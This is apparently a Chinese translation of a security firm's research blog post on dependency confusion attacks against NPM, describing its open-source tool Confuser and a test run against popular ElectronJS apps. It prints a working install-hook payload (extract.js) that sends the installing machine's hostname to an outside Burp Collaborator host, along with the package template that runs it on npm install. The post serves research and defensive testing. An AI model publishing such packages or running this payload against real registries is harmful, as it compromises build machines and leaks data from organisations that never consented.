依赖混淆攻击:工具构建与实战研究

本文深入探讨依赖混淆攻击的技术细节,介绍Confuser工具的构建过程,包括依赖包检测、恶意载荷生成与上传、回调聚合等核心功能,并分享对ElectronJS应用的实战测试经验。

依赖混淆攻击:工具构建与实战研究

2022年7月21日 - 作者:Szymon Drosdzol

2022年2月9日,PortSwigger宣布Alex Birsan的"依赖混淆"技术荣获2021年十大Web黑客技术榜首。过去一年中,该技术获得了广泛关注。尽管如此,关于如何挖掘和缓解此漏洞的深入信息仍然稀缺。

我一直认为理解某事的最佳方式是亲自动手实践。在接下来的文章中,我将展示我的研究成果,重点是创建一个全方位的工具(名为Confuser),用于测试和利用现实世界中的潜在依赖混淆漏洞。为了验证有效性,我们在Github上的顶级ElectronJS应用中寻找潜在的依赖注入漏洞(剧透:这不是个好主意!)。

该工具已帮助Doyensec在安全评估中确保客户免受此威胁,我们相信它也能为研究人员和蓝队提供测试便利。

那么…什么是依赖混淆?

依赖混淆是对应用程序构建过程的攻击。它源于私有依赖仓库的错误配置。易受攻击的配置允许从主公共仓库(例如NPM的registry.npmjs.com)下载本地包的版本。当私有包仅在本地仓库中注册时,攻击者可以向主仓库上传具有相同名称和更高版本号的恶意包。当受害者更新其包时,恶意代码将被下载并在构建或开发机器上执行。

为什么研究依赖注入如此困难?

尽管备受关注,依赖混淆似乎仍未被充分探索,原因有多方面。

存在大量依赖管理系统

每种编程语言使用不同的包管理工具,大多数都有各自的仓库。许多语言甚至有多个这样的工具。仅JavaScript就有NPM、Yarn和Bower等。每个工具都有其自己的仓库生态系统、工具、本地包托管选项(或缺乏这些选项)。在处理使用不同技术栈的项目时,包含另一个仓库系统需要显著的时间成本。

在我的研究中,我决定专注于NPM生态系统。主要原因是它的流行度。它是JavaScript的主要包管理系统,我的次要目标是测试ElectronJS应用程序的此漏洞。专注于NPM可以保证覆盖大多数目标应用程序。

实际利用需要与第三方服务交互

为了利用此漏洞,研究人员需要向公共仓库上传恶意包。理所当然,大多数仓库积极反对这种做法。在NPM上,恶意包会被标记和删除,同时所有者账户会被封禁。

在研究期间,我感兴趣的是观察攻击者在其有效载荷从仓库中删除之前有多少时间。此外,NPM实际上不是攻击的目标,因此我的目标之一是尽量减少对平台本身及其用户的影响。

从目标可靠提取信息很困难

在成功利用的情况下,目标机器通常是受害者组织网络内的构建机器。虽然这是此攻击如此危险的重要原因,但从此类网络提取信息并不总是容易的任务。

Alex在其原始研究中提出使用DNS提取技术来提取受攻击机器的信息。这也是我决定使用的技术。它需要一个小型基础设施和自定义DNS服务器,不像大多数Web利用攻击,通常只需要HTTP代理或浏览器。这突出了为什么构建像我这样的工具至关重要,如果社区要可靠地寻找这些错误。

工具

那么,如何应对这些问题?我决定尝试创建Confuser——一个试图解决上述问题的工具。

该工具是开源的,可在https://github.com/doyensec/confuser 获取。

请尊重并不要给我们在NPM的朋友制造问题!

过程

研究任何依赖混淆漏洞包括三个步骤。

步骤1) 侦察

寻找依赖混淆错误需要一个包含应用程序依赖列表的包文件。对于使用NPM的项目,package.json文件包含此类信息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
  "name": "Doyensec-Example-Project",
  "version": "1.0.0",
  "description": "这是一个示例包。它使用两个依赖:一个是名为axios的公共依赖。另一个是托管在本地仓库中的名为doyensec-library的包。",
  "main": "index.js",
  "author": "Doyensec LLC <info@doyensec.com>",
  "license": "ISC",
  "dependencies": {
    "axios": "^0.25.0",
    "doyensec-local-library": "~1.0.1",
    "another-doyensec-lib": "~2.3.0"
  }
}

当研究人员找到package.json文件时,他们的首要任务是识别潜在易受攻击的包。这意味着在公共仓库中不可用的包。验证包存在的过程似乎相当简单。只需要一个HTTP请求。如果响应状态码不是200,则该包可能不存在:

1
2
3
def check_package_exists(package_name):
    response = requests.get(NPM_ADDRESS + "package/" + package_name, allow_redirects=False)
    return (response.status_code == 200)

简单吗?嗯…差不多。NPM还允许作用域包名称,格式如下:@scope-name/package-name。在这种情况下,如果攻击者可以注册具有给定名称的作用域,则包可能成为依赖混淆的目标。这也可以通过查询NPM来验证:

1
2
3
4
def check_scope_exists(package_name):
    split_package_name = package_name.split('/')
    scope_name = split_package_name[0][1:]
    response = requests.get(NPM_ADDRESS + "~" + scope_name, allow_redirects=False)

我构建的工具允许简化此过程。研究人员可以将package.json文件上传到我的Web应用程序。在后端,文件将被解析,并迭代其依赖项。结果,研究人员收到一个清晰的表格,其中包含给定项目的潜在易受攻击的包和版本:

![依赖扫描结果表示例]

这种方法的缺点是需要枚举NPM服务,每个项目需要数十个HTTP请求。为了减轻对服务的压力,我决定实现本地缓存。任何一次被识别为存在于NPM注册表中的包名称都保存在本地数据库中,并在连续扫描中跳过。因此,不需要重复查询相同的包。在扫描从Github抓取的大约50个package.json文件后,我估计缓存将所需请求的数量减少了40%以上。

步骤2) 有效载荷生成和上传

成功利用依赖混淆漏洞需要一个在受害者安装后回连的包。对于NPM,最简单的方法是利用安装钩子。NPM包允许钩子,每次安装给定包时运行。这种功能是触发依赖有效载荷的完美场所。我使用的package.json模板如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
  "name": "{package_name}",
  "version": "{package_version}",
  "description": "此包是Doyensec LLC进行研究的概念证明。它仅用于测试目的上传。其唯一功能是确认包在受害者机器上的安装。代码不以任何方式恶意,并在研究调查结束后删除。Doyensec LLC不对因使用或依赖此包而导致的任何直接、间接或后果性损失或损害承担任何责任。",
  "main": "index.js",
  "author": "Doyensec LLC <info@doyensec.com>",
  "license": "ISC",
  "dependencies": { },
  "scripts": {
    "install": "node extract.js {project_id}"
  }
}

请注意描述,告知用户和维护者包的目的。这是尝试将包与恶意包区分开来,并用于告知NPM和潜在受害者操作的性质。

安装钩子运行extract.js文件,该文件尝试提取运行它的机器的最小数据:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const https = require('https');
var os = require("os");
var hostname = os.hostname();

const data = new TextEncoder().encode(
  JSON.stringify({
    payload: hostname,
    project_id: process.argv[2]
  })
);

const options = {
  hostname: process.argv[2] + '.' + hostname + '.jylzi8mxby9i6hj8plrj0i6v9mff34.burpcollaborator.net',
  port: 443,
  path: '/',
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': data.length
  },
  rejectUnauthorized: false
}

const req = https.request(options, res => {});
req.write(data);
req.end();

我决定节省实现假DNS服务器的时间,使用Burp Collaborator提供的现有基础设施。文件将使用给定的项目ID和受害者的主机名作为子域,并尝试向Burp Collaborator域发送HTTP请求。这样我的工具将能够将回调分配给正确的项目以及受害者的主机名。

有效载荷生成后,使用npm命令本身将包发布到公共NPM仓库:npm publish

步骤3) 回调聚合

链中的最后一步是接收和聚合回调。如前所述,我决定使用Burp Collaborator基础设施。为了能够将回调下载到我的后端,我在Python中实现了一个简单的Burp Collaborator客户端:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
class BurpCollaboratorClient():

    BURP_DOMAIN = "polling.burpcollaborator.net"

    def __init__(self, colabo_key, colabo_subdomain):
        self.colabo_key = colabo_key
        self.colabo_subdomain = colabo_subdomain

    def poll(self):
        params = {"biid": self.colabo_key}
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"}

        response = requests.get(
            "https://" + self.BURP_DOMAIN + "/burpresults", params=params, headers=headers)

        if response.status_code != 200:
            raise Error("Failed to poll Burp Collaborator")

        result_parsed = json.loads(response.text)
        return result_parsed.get("responses", [])

轮询后,返回的回调被解析并分配给正确的项目。例如,如果有人在我之前显示的示例项目上运行npm install,它将在应用程序中呈现以下回调:

![回调结果表示例]

测试运行

为了验证Confuser的有效性,我们决定测试Github上的前50个ElectronJS应用程序。

我从官方ElectronJS仓库(可在此处获取)提取了Electron应用程序列表。然后,我使用Github API按星数对仓库进行排序。对于前50个,我抓取了package.json文件。

这是抓取文件的Node脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
for (i = 0; i < 50 && i < repos.length;) {
    let repo = repos[i]
    await octokit
      .request("GET /repos/" + repo.repo + "/commits?per_page=1", {})
      .then((response) => {
        var sha = response.data[0].sha
        return octokit.request("GET /repos/" + repo.repo + "/git/trees/:sha?recursive=1", {
          "sha": sha
        });
      })
      .then((response) => {
        for (file_index in response.data.tree) {
          file = response.data.tree[file_index];
          if (file.path.endsWith("package.json")) {
            return octokit.request("GET /repos/" + repo.repo + "/git/blobs/:sha", {
              "sha": file.sha
            });
          }
        }

        return null;
      })
      .then((response) => {
        if (!response) return null;
        i++;
        var package_json = Buffer.from(response.data.content, 'base64').toString('utf-8');
        repoNameSplit = repo.repo.split('/');
        return fs.writeFileSync("package_jsons/" + repoNameSplit[0]+ '_' + repoNameSplit[1] + ".json", package_json);
      });
  }

该脚本从每个仓库获取最新提交,然后递归搜索其文件以查找任何名为package.json的文件。这些文件被下载并保存在本地。

下载这些文件后,我将它们上传到Confuser工具。结果扫描了近3k个依赖包。不幸的是,只有一个应用程序有一些潜在目标。事实证明,它来自一个存档的仓库,因此尽管在NPM仓库中有一个"恶意"包超过24小时(之后被NPM删除),我没有收到来自受害者的回调。我收到了一些来自似乎下载了应用程序进行分析的机器的回调。这也凸显了我的有效载荷的问题——仅获取受害者的主机名可能不足以区分实际受害者和误报。更准确的有效载荷可能涉及收集本地路径和本地用户等信息,这会带来隐私问题。

误报示例:

![误报示例]

事后看来,从公共仓库抓取package.json文件是一种相当天真的方法。开源项目很可能只使用公共依赖,不依赖任何私有基础设施。在我研究的最后一天,我下载了一些闭源Electron应用程序。解包后,我在许多情况下能够提取package.json,但没有产生任何有趣的结果。

总结

我们发布Confuser——一个新创建的工具,用于查找和测试依赖混淆漏洞。它允许扫描package.json文件,生成有效载荷并发布到NPM仓库,最后聚合来自易受攻击目标的回调。

这项研究使我大大增加了对此漏洞性质和利用方法的理解。该工具已经过充分测试,在Doyensec的评估中表现良好。也就是说,在这个领域仍有许多改进可以做:

  • 实现自己的DNS服务器或至少与Burp的自托管Collaborator服务器实例集成
  • 添加对其他语言和仓库的支持

此外,在依赖混淆漏洞领域似乎有几个研究机会:

  • 将研究扩展到闭源ElectronJS应用程序似乎很有希望。虽然像Microsoft这样的高调目标可能已经在这方面覆盖了基础(也因为他们是原始研究的目标),但可能还有许多其他应用程序仍然易受攻击
  • 研究其他依赖管理平台。原始研究涉及NPM、Ruby Gems、Python的PIP、JFrog和Azure Artifacts。其他环境中很可能存在类似问题
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计